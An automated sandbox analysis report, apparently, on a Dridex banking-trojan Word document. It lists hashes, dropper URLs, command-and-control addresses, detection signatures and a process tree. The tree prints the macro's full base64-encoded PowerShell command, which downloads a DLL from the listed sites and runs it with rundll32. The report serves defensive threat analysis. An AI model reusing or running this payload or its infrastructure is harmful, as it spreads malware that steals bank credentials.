dridex | 52dc6da720ff69d8dea66a117fb1fd57e7db0366ec7f55b05cce18f6a3477cc8

General

Target
Information#381141749.doc
Size 234KB
Sample201027-917e9hfxta
SHA256 52dc6da720ff69d8dea66a117fb1fd57e7db0366ec7f55b05cce18f6a3477cc8
MD5 e66571325545211f2e2df5e755b65775
SHA1 90ec8f973776074eba7df0aa36471677c875f585
SHA512 ccecf25f7ff400de1cb9e56f2f4fe3a29568214cecbd44a7ecf17ab91ffbd4de5a3834bcf3025ec5a6e694cdf049ed9004edae4424d52c5e91c0cc072ff2e441
MD5 SHA1 SHA512

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://projectstudio.com.pl/mbuwc5p1.pdf
exe.dropper
http://portfolio.angela-mathis.com/ohe5exr.pdf
exe.dropper
http://custom.robi2.hu/r0779g.zip
exe.dropper
https://cisrs.in/home4/myclonr9/cisrs.in/resources//qcthkrzo.pdf
exe.dropper
http://b15.robi2.hu/bznqxuny1.zip
exe.dropper
https://puzzle.altosaxplayer.com/c1ycpxxxc.zip
exe.dropper
http://mayhutchankhong.tv/ug6utpv39

Extracted

Family

dridex

Botnet

10555

C2

85.207.13.169:443
74.207.242.13:1688
176.58.101.200:49160
164.132.75.129:3388

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3444	3996	POwersheLL.exe	65

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

resource	yara_rule
behavioral2/memory/2524-16-0x0000000000C70000-0x0000000000CAD000-memory.dmp	dridex_ldr

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	3444	POwersheLL.exe
33	2524	rundll32.exe

Loads dropped DLL 2 IoCs

pid	Process
2524	rundll32.exe
2524	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3380	WINWORD.EXE
3380	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3444	POwersheLL.exe
3444	POwersheLL.exe
3444	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3444	POwersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3380	WINWORD.EXE
3380	WINWORD.EXE
3380	WINWORD.EXE
3380	WINWORD.EXE
3380	WINWORD.EXE
3380	WINWORD.EXE
3380	WINWORD.EXE

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 2492	3444	POwersheLL.exe	76
PID 3444 wrote to memory of 2492	3444	POwersheLL.exe	76
PID 2492 wrote to memory of 2524	2492	rundll32.exe	77
PID 2492 wrote to memory of 2524	2492	rundll32.exe	77
PID 2492 wrote to memory of 2524	2492	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information#381141749.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3380

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgACQANQBWAFQAMgBsAFIAPQAgACAAWwBUAFkAUABFAF0AKAAiAHsAMgB9AHsAMwB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBJAHIAZQBjAFQAbwAnACwAJwByAHkAJwAsACcAcwBZAHMAVABlAG0ALgBpAG8ALgAnACwAJwBEACcAKQAgADsAIAAgACAAUwBlAFQALQBpAHQAZQBNACAAIAAoACcAdgAnACsAJwBhAHIASQBBAGIATABlADoAJwArACcAUwAnACsAJwBRACcAKwAnAGEARgA1AFgAJwApACAAKAAgACAAWwBUAHkAcABFAF0AKAAiAHsANQB9AHsAMwB9AHsANgB9AHsANAB9AHsAMAB9AHsAMQB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAcABvAEkATgB0AG0AYQAnACwAJwBuAGEAJwAsACcARwBlAHIAJwAsACcARQBNAC4AbgBFACcALAAnAEUAcgBWAEkAQwAnACwAJwBzAFkAcwBUACcALAAnAFQALgBzACcAKQApACAAIAA7ACQAUQBhAGYAZAB6AGoAagA9ACgAJwBTAG8AJwArACgAJwBwAHEAdQAnACsAJwBwACcAKQArACcAZgAnACkAOwAkAEwAdgAwAG8AagBhAG0APQAkAFgAagBmADkAdQB3AG8AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFgAbABzAHYAcQBsAHUAOwAkAFkAZQAzAGkANgBpAHUAPQAoACcASQAnACsAKAAnADUAdQBfAHEAJwArACcAagAnACkAKwAnAGUAJwApADsAIAAgACgAIABWAEEAUgBpAGEAYgBMAGUAIAA1AFYAVAAyAGwAcgAgAC0AVgBBAGwAVQBlACkAOgA6ACIAYwByAGUAYABBAFQARQBgAGQAaQBSAGUAYABjAHQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFAAJwArACcARgA0AFoAJwApACsAJwB3ACcAKwAoACcAZQBqACcAKwAnAG4AJwApACsAKAAnADYAMQAnACsAJwBQACcAKwAnAEYANABQACcAKwAnAHgAcwA3AHgAaAB4ACcAKQArACgAJwBQACcAKwAnAEYANAAnACkAKQAtAEMAcgBFAHAATABhAGMAZQAgACgAJwBQACcAKwAnAEYANAAnACkALABbAGMAaABBAHIAXQA5ADIAKQApADsAJABNAGUAMABuAGIAMQBrAD0AKAAnAFEAJwArACcAZgAnACsAKAAnAGgAbwAyACcAKwAnAHoANwAnACkAKQA7ACAAIAAoAGwAUwAgACAAKAAnAHYAJwArACcAQQBSAEkAYQBiAEwAZQA6ACcAKwAnAHMAJwArACcAUQAnACsAJwBhAGYANQB4ACcAKQApAC4AdgBBAGwAdQBlADoAOgAiAFMAZQBgAGMAVQBgAFIAYABpAFQAWQBwAHIAbwBUAGAATwBgAEMATwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAGcAcwBxAHgAOQB0AD0AKAAoACcAUwBwACcAKwAnAHcAMgBjACcAKQArACcAcAB1ACcAKQA7ACQAVgB3AF8AZABpADAAZwAgAD0AIAAoACgAJwBGAG0AJwArACcAZAAnACsAJwBsAG0AZwBnACcAKQArACcAaQAnACkAOwAkAFQAdwAxAGIAZwBfAHkAPQAoACgAJwBFAGYAagAnACsAJwAyAHkAJwApACsAJwB0ACcAKwAnAHYAJwApADsAJABIAHkAeABkAHUAMABoAD0AKAAoACcATwAnACsAJwBnAHAAdgAnACkAKwAnAHUAJwArACcAYQB5ACcAKQA7ACQASwBpAHMAZgB1AHoANwA9ACQASABPAE0ARQArACgAKAAnAGEAJwArACgAJwBWAEQAJwArACcAWgB3AGUAagAnACkAKwAoACcAbgA2ACcAKwAnADEAYQAnACkAKwAnAFYAJwArACgAJwBEAFAAeABzACcAKwAnADcAJwArACcAeABoAHgAJwApACsAKAAnAGEAJwArACcAVgBEACcAKQApAC0AQwBSAGUAUABsAEEAQwBlACAAIAAoAFsAYwBoAEEAcgBdADkANwArAFsAYwBoAEEAcgBdADgANgArAFsAYwBoAEEAcgBdADYAOAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAFYAdwBfAGQAaQAwAGcAKwAoACcALgBkACcAKwAnAGwAbAAnACkAOwAkAEgAdwA3AGwANAB4AHUAPQAoACgAJwBZADQANwAnACsAJwBqACcAKQArACgAJwBrADcAJwArACcAdAAnACkAKQA7ACQARgBwAGIAOABkAGYAbgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQATwBzADMAXwAxAHoAbgA9ACgAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgBbACAAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AWwAnACkAKwAnACAAdwAnACsAKAAnAGUAIAAnACsAJwBdAHAAJwApACsAJwByACcAKwAoACcAbwBqACcAKwAnAGUAJwApACsAJwBjAHQAJwArACgAJwBzAHQAdQAnACsAJwBkACcAKQArACgAJwBpAG8ALgBjACcAKwAnAG8AbQAnACkAKwAoACcALgBwAGwAWwAnACsAJwAgACcAKQArACcAdwBlACcAKwAoACcAIAAnACsAJwBdAG0AYgB1AHcAJwApACsAJwBjACcAKwAoACcANQBwADEAJwArACcALgBwAGQAZgBAACcAKQArACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoAWwAgAHcAJwArACcAZQAgAF0AWwAgACcAKwAnAHcAJwArACcAZQAgACcAKQArACcAXQBwACcAKwAnAG8AJwArACgAJwByAHQAJwArACcAZgBvAGwAJwApACsAJwBpAG8AJwArACgAJwAuAGEAbgBnACcAKwAnAGUAJwApACsAKAAnAGwAYQAtACcAKwAnAG0AJwApACsAJwBhAHQAJwArACgAJwBoACcAKwAnAGkAcwAnACkAKwAnAC4AJwArACcAYwBvACcAKwAoACcAbQBbACAAJwArACcAdwBlACcAKwAnACAAXQBvAGgAZQA1AGUAeAAnACkAKwAnAHIAJwArACcALgAnACsAKAAnAHAAZABmACcAKwAnAEAAJwApACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAFsAIAAnACsAKAAnAHcAZQAnACsAJwAgAF0AJwApACsAJwBbACAAJwArACcAdwBlACcAKwAoACcAIABdAGMAJwArACcAdQAnACsAJwBzAHQAbwBtACcAKwAnAC4AcgBvAGIAJwApACsAKAAnAGkAMgAnACsAJwAuACcAKQArACcAaAAnACsAKAAnAHUAWwAnACsAJwAgACcAKQArACgAJwB3AGUAIAAnACsAJwBdAHIAJwArACcAMAA3ADcAOQAnACkAKwAnAGcALgAnACsAJwB6ACcAKwAnAGkAcAAnACsAJwBAACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwBzACcAKQArACgAJwA6AFsAJwArACcAIAAnACkAKwAnAHcAZQAnACsAKAAnACAAJwArACcAXQBbACcAKQArACcAIAB3ACcAKwAoACcAZQAgAF0AYwAnACsAJwBpACcAKwAnAHMAcgBzAC4AaQBuAFsAIAAnACkAKwAoACcAdwAnACsAJwBlACAAJwApACsAJwBdAGgAJwArACgAJwBvACcAKwAnAG0AZQA0ACcAKQArACcAWwAgACcAKwAoACcAdwBlACAAXQBtAHkAJwArACcAYwBsAG8AJwArACcAbgAnACkAKwAnAHIAJwArACcAOQAnACsAKAAnAFsAIAAnACsAJwB3ACcAKQArACcAZQAnACsAKAAnACAAJwArACcAXQBjACcAKQArACgAJwBpAHMAcgBzAC4AJwArACcAaQAnACkAKwAnAG4AWwAnACsAJwAgACcAKwAnAHcAJwArACcAZQAnACsAJwAgAF0AJwArACcAcgBlACcAKwAnAHMAbwAnACsAJwB1AHIAJwArACcAYwAnACsAJwBlAHMAJwArACcAWwAgACcAKwAnAHcAJwArACcAZQAnACsAJwAgACcAKwAoACcAXQAnACsAJwBbACcAKwAnACAAdwBlACAAXQBxAGMAdABoAGsAJwArACcAcgAnACsAJwB6ACcAKQArACgAJwBvACcAKwAnAC4AcABkAGYAQAAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAnADoAWwAnACsAJwAgACcAKwAoACcAdwBlACAAJwArACcAXQAnACsAJwBbACAAJwApACsAKAAnAHcAZQAgAF0AYgAnACsAJwAxADUAJwArACcALgAnACkAKwAnAHIAbwAnACsAKAAnAGIAJwArACcAaQAyAC4AaAAnACkAKwAoACcAdQBbACcAKwAnACAAdwAnACkAKwAoACcAZQAnACsAJwAgAF0AJwApACsAJwBiACcAKwAnAHoAJwArACcAbgAnACsAKAAnAHEAJwArACcAeAB1AG4AeQAxACcAKwAnAC4AJwApACsAJwB6ACcAKwAnAGkAJwArACgAJwBwAEAAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACcAOgBbACcAKwAnACAAdwAnACsAKAAnAGUAJwArACcAIABdACcAKwAnAFsAIAB3ACcAKwAnAGUAIABdAHAAJwApACsAKAAnAHUAegB6ACcAKwAnAGwAZQAuAGEAJwApACsAKAAnAGwAdABvAHMAYQB4AHAAbAAnACsAJwBhAHkAZQByACcAKwAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtAFsAIAAnACsAJwB3ACcAKQArACcAZQAnACsAKAAnACAAXQAnACsAJwBjACcAKQArACcAMQAnACsAKAAnAHkAYwBwAHgAeAAnACsAJwB4ACcAKwAnAGMAJwApACsAJwAuACcAKwAoACcAegAnACsAJwBpAHAAQABoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AFsAIAB3AGUAJwArACcAIABdAFsAIAAnACsAJwB3ACcAKwAnAGUAIABdACcAKQArACcAbQAnACsAKAAnAGEAeQAnACsAJwBoACcAKwAnAHUAdABjAGgAJwApACsAKAAnAGEAbgBrACcAKwAnAGgAbwBuACcAKQArACgAJwBnAC4AdAB2ACcAKwAnAFsAIAB3AGUAIAAnACsAJwBdAHUAZwA2ACcAKwAnAHUAJwApACsAKAAnAHQAcAAnACsAJwB2ADMAOQAnACkAKQAuACIAUgBlAHAAYABsAGEAYABDAGUAIgAoACgAKAAnAFsAJwArACcAIAB3AGUAJwApACsAJwAgAF0AJwApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACcAZgBzACcAKQBbADAAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABOAHoAYgB0AHUAZQBrACAAKwAgACQATAB2ADAAbwBqAGEAbQAgACsAIAAkAEsAZQByAF8AdQBjAG8AKQA7ACQATQBqAHIAYwB5AGsANQA9ACgAJwBEACcAKwAnAGgAZwAnACsAKAAnADIAYwA5ACcAKwAnAGsAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEcANwB2ADYAYgB0ADUAIABpAG4AIAAkAE8AcwAzAF8AMQB6AG4AKQB7AHQAcgB5AHsAJABGAHAAYgA4AGQAZgBuAC4AIgBEAGAAbwB3AE4AbABgAG8AQQBEAEYAaQBsAEUAIgAoACQARwA3AHYANgBiAHQANQAsACAAJABLAGkAcwBmAHUAegA3ACkAOwAkAFIAeABjADcAXwBlAHEAPQAoACgAJwBJAGMAJwArACcAOAB5AGYAJwApACsAJwB1ACcAKwAnADcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEsAaQBzAGYAdQB6ADcAKQAuACIATABgAGUATgBgAGcAdABoACIAIAAtAGcAZQAgADQANwAyADAANgApACAAewAuACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIALgBlAHgAZQAnACkAIAAkAEsAaQBzAGYAdQB6ADcALAAwADsAJABTADMAYgBvAHIAZgBqAD0AKAAoACcASgAnACsAJwBvAG4AJwApACsAJwAwAHQAJwArACcAMgByACcAKQA7AGIAcgBlAGEAawA7ACQAVQBsADkAYQBzAGcAbgA9ACgAJwBJACcAKwAoACcAMQB2AG4AJwArACcAZgB0ACcAKQArACcAdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAbQBuAGcAagBrAGgAPQAoACcAVgAnACsAKAAnAGEAdwAnACsAJwAyAGMAZwAnACkAKwAnADQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zwejn61\Pxs7xhx\Fmdlmggi.dll,0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zwejn61\Pxs7xhx\Fmdlmggi.dll,0
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Checks whether UAC is enabled
    PID:2524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2524-16-0x0000000000C70000-0x0000000000CAD000-memory.dmp

Download

memory/3380-0-0x00007FFCAFB50000-0x00007FFCB0187000-memory.dmp

Download

memory/3380-5-0x0000029D65AD1000-0x0000029D65AD6000-memory.dmp

Download

memory/3444-8-0x00007FFCA89C0000-0x00007FFCA93AC000-memory.dmp

Download

memory/3444-9-0x000001B79A680000-0x000001B79A681000-memory.dmp

Download

memory/3444-10-0x000001B79A950000-0x000001B79A951000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads